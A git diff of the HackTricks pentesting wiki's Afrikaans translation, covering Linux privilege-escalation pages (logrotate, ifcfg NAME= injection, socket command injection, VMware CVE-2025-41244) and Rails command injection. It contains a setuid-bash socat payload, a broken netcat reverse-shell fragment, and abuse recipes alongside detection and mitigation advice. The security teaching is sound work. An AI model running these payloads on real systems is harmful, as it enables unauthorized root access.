-A vulnerability in `logrotate` lets users with **skryfregte** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied.
+'n Kwetsbaarheid in `logrotate` laat gebruikers met **write permissions** op 'n loglêer of op die ouer-gidse daarvan moontlik verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om ewekansige lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings nie net in _/var/log_ na te gaan nie, maar ook in enige gids waar logrotasie toegepas word.
> [!TIP]
-> Hierdie kwesbaarheid raak `logrotate` weergawes `3.18.0` en ouer
+> Hierdie kwetsbaarheid raak `logrotate` weergawe `3.18.0` en ouer
-More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
+Meer gedetaileerde inligting oor die kwetsbaarheid is op hierdie bladsy te vinde: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
-You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten).
+Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten).
-This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.
+Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus, wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy bevoegdhede kan eskaleer deur die logs met symlinks te vervang.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
-**Kwesbaarheid verwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
+**Kwetsbaarheidsverwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
-If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.
+As, om watter rede ook al, 'n gebruiker in staat is om 'n `ifcf-`-skrip na _/etc/sysconfig/network-scripts_ te **skryf** **of** 'n bestaande een te **wysig**, dan is jou **system is pwned**.
-Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d).
+Network-skripte, byvoorbeeld _ifcg-eth0_, word gebruik vir netwerkverbindings. Hulle lyk presies soos .INI-lêers. Hulle word egter op Linux deur Network Manager (dispatcher.d) ~sourced~.
-In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**.
+In my geval word die `NAME=`-attribuut in hierdie netwerk-skripte nie korrek hanteer nie. **As daar 'n wit/leë spasie in die naam is, probeer die stelsel die deel ná die wit/leë spasie uitvoer**. Dit beteken dat **alles ná die eerste leë spasie as root uitgevoer word**.
For example: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@@ -1453,25 +1459,27 @@ NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
-(_Let asseblief op die leë spasie tussen Network en /bin/id_)
+(_Let op die leë spasie tussen Network en /bin/id_)
-### **init, init.d, systemd, and rc.d**
+### **init, init.d, systemd, en rc.d**
-Die gids `/etc/init.d` huisves **scripts** vir System V init (SysVinit), die **klassieke Linux-diensbestuurstelsel**. Dit sluit scripts in om `start`, `stop`, `restart`, en soms `reload` dienste uit te voer. Hierdie kan direk uitgevoer word of deur simboliese skakels gevind in `/etc/rc?.d/`. 'n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`.
+Die gids `/etc/init.d` huisves **scripts** vir System V init (SysVinit), die **klassieke Linux service management stelsel**. Dit sluit scripts in om `start`, `stop`, `restart`, en soms `reload` services te doen. Hierdie kan direk uitgevoer word of deur simboliese skakels gevind in `/etc/rc?.d/`. 'n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`.
-Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensbestuurder** wat deur Ubuntu ingestel is, en gebruik konfigurasielêers vir diensbestuurtake. Ten spyte van die oorgang na Upstart word SysVinit-skripte steeds saam met Upstart-konfigurasies gebruik weens 'n versoenbaarheidslaag in Upstart.
+Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **service management** wat deur Ubuntu ingevoer is, en gebruik konfigurasielêers vir servicebestuurs take. Ten spyte van die oorgang na Upstart, word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik weens 'n kompatibiliteitslaag in Upstart.
-**systemd** tree na vore as 'n moderne inisialisering- en diensbestuurder, wat gevorderde funksies soos on-demand daemon-start, automount-bestuur, en stelseltoestand-snapshots bied. Dit orden lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateurwysigings, wat stelseladministrasie vereenvoudig.
+**systemd** treeg na vore as 'n moderne initialisasie- en servicebestuurder, wat gevorderde funksies bied soos on-demand daemon-opstart, automount-bestuur, en stelseltoestand-snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir distributie-pakkette en `/etc/systemd/system/` vir administrateur-wysigings, wat stelseladministrasie vereenvoudig.
-## Ander truuks
+## Ander Wenke
### NFS Privilege escalation
+
{{#ref}}
nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
-### Escaping from restricted Shells
+### Ontsnap uit beperkte Shells
+
{{#ref}}
escaping-from-limited-bash.md
@@ -1479,13 +1487,15 @@ escaping-from-limited-bash.md
### Cisco - vmanage
+
{{#ref}}
cisco-vmanage.md
{{#endref}}
## Android rooting frameworks: manager-channel abuse
-Android rooting frameworks koppel gewoonlik 'n syscall om bevoorregte kernel-funksionaliteit aan 'n userspace manager bloot te stel. Swakke manager-authentisering (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager na te boots en op reeds-rooted toestelle na root te eskaleer. Leer meer en sien uitbuitingbesonderhede hier:
+Android rooting frameworks hook gewoonlik 'n syscall om bevoorregte kernel-funksionaliteit aan 'n userspace manager bloot te stel. Swakke manager-verifikasie (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager te imiteer en op reeds-rooted toestelle na root op te skaal. Leer meer en sien uitbuitingbesonderhede hier:
+
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
@@ -1493,15 +1503,15 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
-Regex-driven service discovery in VMware Tools/Aria Operations kan 'n binêre pad uit proses se command lines uittrek en dit met -v onder 'n bevoorregte konteks uitvoer. Permissiewe patrone (bv. gebruik van \S) kan pas by aanvaller-geplaasde listeners in skryfbare lokasies (bv. /tmp/httpd), wat kan lei tot uitvoering as root (CWE-426 Untrusted Search Path).
+Regex-gedrewe service discovery in VMware Tools/Aria Operations kan 'n binêre pad uit proses command lines onttrek en dit met -v uitvoer onder 'n bevoorregte konteks. Permissiewe patrone (bv. die gebruik van \S) kan aanvaller-gestelde listeners in beskryflike lokasies (bv. /tmp/httpd) pas, wat lei tot uitvoering as root (CWE-426 Untrusted Search Path).
-Leer meer en sien 'n gegeneraliseerde patroon wat op ander discovery/monitoring stacks van toepassing is hier:
+Leer meer en sien 'n gegeneraliseerde patroon toepaslik op ander discovery/monitoring stacks hier:
{{#ref}}
vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
{{#endref}}
-## Kernsekuriteitsbeskerming
+## Kernel-sekuriteitsbeskerming
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
- [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
@@ -1512,20 +1522,20 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
## Linux/Unix Privesc Tools
-### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
+### **Beste hulpmiddel om te soek na Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
-**Kernelpop:** Enumereer kernel-vulns in Linux en macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
+**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
-**EvilAbigail (fisiese toegang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
+**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
-## References
+## Verwysings
- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md
index e882a0366..827cfe8e0 100644
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## Socket binding-voorbeeld met Python
+## Socket binding example with Python
-In die volgende voorbeeld word 'n **unix socket geskep** (`/tmp/socket_test.s`) en alles wat **ontvang** word, sal deur `os.system` **uitgevoer** word. Ek weet dat jy dit nie in die wild gaan vind nie, maar die doel van hierdie voorbeeld is om te sien hoe kode wat unix sockets gebruik lyk en hoe om die invoer in die slegste moontlike geval te hanteer.
+In die volgende voorbeeld word 'n **unix socket geskep** (`/tmp/socket_test.s`) en alles wat **ontvang** word, gaan deur `os.system` **uitgevoer** word. Ek weet dat jy dit nie in die natuur gaan vind nie, maar die doel van hierdie voorbeeld is om te sien hoe code wat unix sockets gebruik lyk, en hoe om die input in die slegste moontlike geval te hanteer.
```python:s.py
import socket
import os, os.path
@@ -37,17 +37,17 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
-## Gevalstudie: Root-owned UNIX socket signal-triggered escalation (LG webOS)
+## Gevalstudie: Root-owned UNIX socket sein-geaktiveerde eskalasie (LG webOS)
-Sommige privileged daemons openbaar 'n root-owned UNIX socket wat untrusted input aanvaar en privileged actions koppel aan thread-IDs en signals. As die protocol 'n unprivileged client toelaat om te beïnvloed watter native thread geteikend word, kan jy moontlik 'n privileged code path trigger en escalate.
+Sommige bevoorregte daemons maak 'n root-owned UNIX socket beskikbaar wat onbetroubare insette aanvaar en bevoorregte aksies koppel aan thread-IDs en seine. As die protokol 'n onbevoorregde kliënt toelaat om te beïnvloed watter native thread geteiken word, kan jy moontlik 'n bevoorregte kodepad triggreer en eskaleer.
Waargenome patroon:
-- Verbind met 'n root-owned socket (bv., /tmp/remotelogger).
-- Skep 'n thread en bekom sy native thread id (TID).
-- Stuur die TID (packed) plus padding as 'n request; ontvang 'n acknowledgement.
-- Lewer 'n spesifieke signal aan daardie TID om die privileged behaviour te trigger.
+- Connect to a root-owned socket (e.g., /tmp/remotelogger).
+- Create a thread and obtain its native thread id (TID).
+- Send the TID (packed) plus padding as a request; receive an acknowledgement.
+- Deliver a specific signal to that TID to trigger the privileged behaviour.
-Minimal PoC sketch:
+Minimale PoC-skets:
```python
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
@@ -59,14 +59,14 @@ s.sendall(struct.pack('&1 | nc 23231 > /tmp/f
```
Aantekeninge:
-- Hierdie klas foute ontstaan deur vertroue te stel in waardes wat afgelei is van onprivilegieerde kliënttoestand (TIDs) en dit te bind aan bevoorregte signal handlers of logika.
-- Maak veiliger deur credentials op die socket af te dwing, boodskapformate te valideer, en bevoorregte operasies te ontkoppel van eksterne aangeleverde thread identifiers.
+- Hierdie klas foute ontstaan deur waardes, afgelei van nie-geprivilegieerde kliënttoestand (TIDs), te vertrou en dit te bind aan geprivilegieerde signal handlers of logika.
+- Verhard deur credentials op die socket af te dwing, message formats te valideer, en privileged operations te ontkoppel van externally supplied thread identifiers.
## Verwysings
diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
index 2c8df125b..57d3469c3 100644
--- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
+++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
@@ -2,22 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
-Hierdie tegniek misbruik regex-gedrewe service discovery-pipelines wat hardlopende prosesopdraglyne ontleed om diensweergawes af te lei en daarna 'n kandidaat-binary met 'n "version"-vlag uitvoer. Wanneer toegewingpatrone onbetroubare, deur 'n aanvaller beheerde paaie aanvaar (bv. /tmp/httpd), voer die bevoorregte versamelaar 'n ewekansige binary uit vanaf 'n onbetroubare ligging, wat local privilege escalation tot gevolg het. NVISO het dit gedokumenteer in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244.
+Hierdie tegniek misbruik regex-gedrewe diensontdekking-pyplyne wat lopende proses-opdraglyne ontleed om diensweergawes af te lei en dan 'n kandidaat-binary met 'n "version" vlag uit te voer. Wanneer permissiewe patrone onbetroubare, deur 'n aanvaller beheerde paaie aanvaar (bv. /tmp/httpd), voer die bevoorregte versamelaar 'n ewekansige binary vanaf 'n onbetroubare ligging uit, wat lei tot lokale privilege-eskalasie. NVISO het dit gedokumenteer in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244.
-- Impak: Local privilege escalation to root (or to the privileged discovery account)
-- Oorsaak: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
-- Getroffen: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
+- Impact: Lokale privilege-eskalasie na root (of na die bevoorregte discovery-rekening)
+- Hoof oorsaak: Onbetroubare Soekpad (CWE-426) + permissiewe regex-ooreenkoms van proses-opdraglyne
+- Geaffekteer: open-vm-tools/VMware Tools op Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
-## Hoe VMware service discovery werk (hoë vlak)
+## How VMware service discovery works (high level)
-- Credential-based (legacy): Aria voer discovery-skripte binne die guest uit via VMware Tools met geconfigureerde bevoorregte credentials.
-- Credential-less (modern): Discovery-logika loop binne VMware Tools en het reeds bevoorregte regte in die guest.
+- Credential-based (legacy): Aria voer discovery-skripte binne die guest uit via VMware Tools met gekonfigureerde bevoorregte credentials.
+- Credential-less (modern): Discovery-logika hardloop binne VMware Tools, wat reeds bevoorreg is in die guest.
-Albei modusse voer uiteindelik shell-logika uit wat prosesse met luisterende sokkette skandeer, 'n pasende opdragpad via 'n regex uithaal, en die eerste argv-token met 'n version-vlag uitvoer.
+Albei modusse voer uiteindelik shell-logika uit wat prosesse met luisterende sockets deursoek, 'n pasende opdragpad via 'n regex onttrek, en die eerste argv-token met 'n version-vlag uitvoer.
-## Hoofrede en kwesbare patroon (open-vm-tools)
+## Root cause and vulnerable pattern (open-vm-tools)
-In open-vm-tools stem die serviceDiscovery-plugin script get-versions.sh kandidaat-binaries aan deur breë regular expressions te gebruik en voer die eerste token uit sonder enige trusted-path-validasie:
+In open-vm-tools pas die serviceDiscovery plugin-skrip get-versions.sh kandidaat-binaries aan met breë regular expressions en voer die eerste token uit sonder enige trusted-path verifikasië:
```bash
get_version() {
PATTERN=$1
@@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
done
}
```
-Dit word aangeroep met permissiewe patrone wat \S (nie-witspasie) bevat en sal maklik nie-stelselpaadjies in gebruikersskryfbare liggings pas:
+Dit word aangeroep met permissiewe patrone wat \S (nie-witruimte) bevat, en wat maklik nie-stelselspaaie in gebruikers-skryfbare liggings sal pas:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
@@ -39,22 +39,22 @@ get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```
- Uittrekking gebruik grep -Eo en neem die eerste token: ${COMMAND%%[[:space:]]*}
-- Geen whitelist/allowlist van vertroude stelselpaaie nie; enige ontdekte listener met 'n ooreenstemmende naam word uitgevoer met -v/--version
+- Geen whitelist/allowlist van vertroude stelselpade; enige ontdekte listener met 'n ooreenstemmende naam word uitgevoer met -v/--version
-Dit skep 'n untrusted search path execution primitive: ewekansige binaries wat in world-writable gidsies geleë is (bv. /tmp/httpd) word deur 'n geprivilegieerde komponent uitgevoer.
+Dit skep 'n onbetroubare soekpad-uitvoering-primitive: arbitrêre binaries geleë in gidse wat deur almal geskryf kan word (bv. /tmp/httpd) word deur 'n bevoorregte komponent uitgevoer.
## Exploitation (both credential-less and credential-based modes)
Voorvereistes
-- Jy kan 'n ongeprivilegieerde proses laat loop wat 'n listening socket op die guest oopmaak.
-- Die discovery job is geaktiveer en loop periodiek (tipies elke ~5 minute).
+- Jy kan 'n onbevoorregte proses uitvoer wat 'n luistersok op die gas oopmaak.
+- Die ontdekkings-taak is geaktiveer en loop periodiek (histories ~5 minute).
Stappe
-1) Plaas 'n binary in 'n pad wat ooreenstem met een van die permissiewe regexes, bv. /tmp/httpd of ./nginx
-2) Laat dit loop as 'n laag-privilegieerde gebruiker en maak seker dit open enige listening socket
-3) Wag vir die discovery-siklus; die privileged collector sal outomaties uitvoer: /tmp/httpd -v (of soortgelyk), wat jou program as root uitvoer
+1) Plaas 'n binary in 'n pad wat ooreenstem met een van die permissiewe regexe, bv. /tmp/httpd of ./nginx
+2) Voer dit as 'n laag-privilegie gebruiker uit en verseker dat dit enige luistersok oopmaak
+3) Wag vir die ontdekking-siklus; die bevoorregte versamelaar sal outomaties uitvoer: /tmp/httpd -v (of soortgelyk), wat jou program as root laat loop
-Minimale demo (met NVISO se benadering)
+Minimale demo (gebruik NVISO se benadering)
```bash
# Build any small helper that:
# - default mode: opens a dummy TCP listener
@@ -70,56 +70,56 @@ Tipiese prosesafstamming
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
Artefakte (credential-based)
-Herstelde SDMP wrapper scripts onder /tmp/VMware-SDMP-Scripts-{UUID}/ kan direkte uitvoering van die rogue path toon:
+Herstelde SDMP wrapper-skripte onder /tmp/VMware-SDMP-Scripts-{UUID}/ kan direkte uitvoering van die kwaadwillige pad toon:
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
-## Algemeneer die tegniek: regex-gedrewe ontdekkingmisbruik (draagbare patroon)
+## Generalizing the technique: regex-driven discovery abuse (portable pattern)
-Baie agents en monitoring-suites implementeer weergawe-/diensontdekking deur:
-- Opsomming van prosesse met luisterende sockets
-- Grepping argv/command lines met permissiewe regexes (bv. patrone wat \S bevat)
-- Die gematchte pad uit te voer met 'n goedaardige vlag soos -v, --version, -V, -h
+Baie agents en monitoringsuites implementeer weergawe-/diensontdekking deur:
+- Prosesse met luister-sokette op te noem
+- Grepen van argv/kommando-lyne met permissiewe regexes (bv. patrone wat \S bevat)
+- Die gematchte pad uit te voer met 'n skynbaar onskadelike vlag soos -v, --version, -V, -h
-As die regex onbetroubare paadjies aanvaar en die pad vanaf 'n geprivilegieerde konteks uitgevoer word, kry jy CWE-426 Untrusted Search Path-uitvoering.
+As die regex onbetroubare paaie aanvaar en die pad uit 'n bevoorregte konteks uitgevoer word, kry jy CWE-426 Untrusted Search Path uitvoering.
Abuse recipe
-- Gee jou binary 'n naam soos algemene daemons wat die regex waarskynlik sal pas: httpd, nginx, mysqld, dataserver
-- Plaas dit in 'n skrywebare gids: /tmp/httpd, ./nginx
-- Verseker dit pas die regex en open enige poort om geïnventariseer te word
-- Wag vir die geskeduleerde versamelaar; jy kry 'n outomatiese geprivilegieerde aanroep van -v
+- Noem jou binêre soos algemene daemons wat die regex waarskynlik sal pas: httpd, nginx, mysqld, dataserver
+- Plaas dit in 'n skryfbare gids: /tmp/httpd, ./nginx
+- Maak seker dit pas by die regex en open enige poort om opgetel te word
+- Wag vir die geskeduleerde versamelaar; jy kry 'n outomatiese bevoorregte aanroep van -v
-Maskeeringsnota: Dit stem ooreen met MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) om die kans op 'n match en onopgemerktheid te verhoog.
+Masquerading note: Dit stem ooreen met MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) om die kans op 'n pas en onopvallendheid te verhoog.
-Reusable privileged I/O relay truuk
-- Bou jou helper sodat by geprivilegieerde aanroep (-v/--version) dit verbinding maak na 'n bekende rendezvous (bv. 'n Linux abstract UNIX socket soos @cve) en stdio oorbrug na /bin/sh -i. Dit vermy on-disk artefakte en werk oor baie omgewings waar dieselfde binary met 'n vlag heruitgevoer word.
+Reusable privileged I/O relay trick
+- Bou jou helper sodat dit by bevoorregte aanroep (-v/--version) verbind met 'n bekende rendezvous (bv. 'n Linux abstract UNIX socket soos @cve) en stdio na /bin/sh -i oorbrug. Dit vermy op-skyf artefakte en werk oor baie omgewings waar dieselfde binêre her-aanroep word met 'n vlag.
-## Opsporings- en DFIR-riglyne
+## Detection and DFIR guidance
-Opspoornavrae
-- Ongewone subprosesse van vmtoolsd of get-versions.sh soos /tmp/httpd, ./nginx, /tmp/mysqld
-- Enige uitvoering van nie-stelsel absolute paadjies deur ontdekkingskripte (kyk vir spasies in ${COMMAND%%...} uitbreidings)
-- ps -ef --forest om afstammings-boom te visualiseer: vmtoolsd -> get-versions.sh ->
+Hunting queries
+- Ongewone onderliggende prosesse van vmtoolsd of get-versions.sh soos /tmp/httpd, ./nginx, /tmp/mysqld
+- Enige uitvoering van nie-stelsel absolute paaie deur discovery-skripte (soek na spasies in ${COMMAND%%...} uitbreidings)
+- ps -ef --forest om voorouersbome te visualiseer: vmtoolsd -> get-versions.sh ->
-Op Aria SDMP (credential-based)
-- Inspekteer /tmp/VMware-SDMP-Scripts-{UUID}/ vir tydelike skripte en stdout/stderr-artefakte wat uitvoering van aanvallerpaaie toon
+On Aria SDMP (credential-based)
+- Kontroleer /tmp/VMware-SDMP-Scripts-{UUID}/ vir transiente skripte en stdout/stderr-artefakte wat uitvoering van aanvallerpaaie toon
-Beleid/telemetrie
-- Alarmeer wanneer geprivilegieerde versamelaars vanaf nie-stelsel voorvoegsels uitvoer: ^/(tmp|home|var/tmp|dev/shm)/
-- Lêerintegriteitsmonitering op get-versions.sh en VMware Tools-plugins
+Policy/telemetry
+- Waarsku wanneer bevoorregte versamelaars vanaf nie-stelsel voorvoegsels uitvoer: ^/(tmp|home|var/tmp|dev/shm)/
+- Lêer-integriteitsmonitering op get-versions.sh en VMware Tools-plugins
-## Mitigasies
+## Mitigations
-- Patch: Pas Broadcom/VMware-opdaterings toe vir CVE-2025-41244 (Tools and Aria Operations SDMP)
-- Deaktiveer of beperk ontdekking sonder credentials waar moontlik
-- Valideer vertroude paaie: beperk uitvoering tot toegelate gidse (/usr/sbin, /usr/bin, /sbin, /bin) en slegs presiese bekende binaries
-- Vermy permissiewe regexes met \S; verkies geanker, eksplisiete absolute paaie en presiese opdragname
-- Verlaag voorregte vir ontdekkinghelpers waar moontlik; sandbox (seccomp/AppArmor) om impak te verminder
-- Monitor en waarsku op vmtoolsd/get-versions.sh wat nie-stelselpaadjies uitvoer
+- Patch: Pas Broadcom/VMware-opdaterings toe vir CVE-2025-41244 (Tools en Aria Operations SDMP)
+- Deaktiveer of beperk credential-less discovery waar moontlik
+- Valideer vertroude paaie: beperk uitvoering tot geallowliste gidsies (/usr/sbin, /usr/bin, /sbin, /bin) en slegs presiese bekende binêre
+- Vermy permissiewe regexes met \S; verkies geankerde, eksplisiete absolute paaie en presiese kommando-name
+- Laat privilegies val vir discovery-helpers waar moontlik; sandbox (seccomp/AppArmor) om impak te verminder
+- Monitor en waarsku oor vmtoolsd/get-versions.sh wat nie-stelsel paaie uitvoer
-## Aantekeninge vir verdedigers en implementeerders
+## Notes for defenders and implementers
-Veiliger matching- en uitvoerpatroon
+Veiliger pas- en uitvoerpatroon
```bash
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
@@ -137,7 +137,7 @@ esac
```
## Verwysings
-- [NVISO – Jy noem dit, VMware eskaleer dit (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
+- [NVISO – Jy noem dit, VMware verhoog dit (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
- [Broadcom-advies vir CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
index 25f13b1b1..e60b42d1e 100644
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
@@ -1,4 +1,4 @@
-# Ruby Truuks
+# Ruby Wenke
{{#include ../../banners/hacktricks-training.md}}
@@ -7,45 +7,45 @@
Soos verduidelik in [this article](https://www.offsec.com/blog/cve-2024-46986/), die oplaai van 'n `.rb`-lêer in sensitiewe gidse soos `config/initializers/` kan lei tot remote code execution (RCE) in Ruby on Rails-toepassings.
Wenke:
-- Ander boot/eager-load plekke wat by app-start uitgevoer word is ook gevaarlik as hulle writeable is (bv. `config/initializers/` is die klassieke een). As jy 'n arbitrary file upload vind wat enige plek onder `config/` beland en later evaluated/required word, kan jy RCE by boot kry.
-- Soek na dev/staging builds wat user-controlled files in die container image kopieer waar Rails dit by boot sal laai.
+- Ander boot/eager-load-ligginge wat by app-opstart uitgevoer word, is ook riskant as hulle skryfbaar is (bv. `config/initializers/` is die klassieke voorbeeld). As jy 'n arbitrêre lêeroplaai vind wat enige plek onder `config/` beland en later geëvalueer/gelaai word, kan jy RCE tydens opstart verkry.
+- Soek na dev/staging builds wat user-controlled lêers in die container image kopieer waar Rails dit by opstart sal laai.
## Active Storage image transformation → command execution (CVE-2025-24293)
-Wanneer 'n toepassing Active Storage gebruik met `image_processing` + `mini_magick`, en nie-vertroude parameters aan image transformation methods deurgee, kan Rails weergawes voor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection toelaat omdat sommige transformation methods per ongeluk standaard toegelaat is.
+Wanneer 'n aansoek Active Storage gebruik met `image_processing` + `mini_magick`, en onbetroubare parameters aan beeldtransformasie-metodes deurgee, kan Rails-weergawe voor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection toelaat omdat sekere transformasie-metodes per ongeluk standaard toegelaat was.
-- 'n Kwetsbare patroon lyk soos:
+- A vulnerable pattern looks like:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
-waar `params[:t]` en/of `params[:v]` attacker-controlled is.
+where `params[:t]` and/or `params[:v]` are attacker-controlled.
- Wat om te probeer tydens toetsing
-- Identifiseer eindpunte wat variant/processing opsies, transformation names, of arbitrêre ImageMagick-argumente aanvaar.
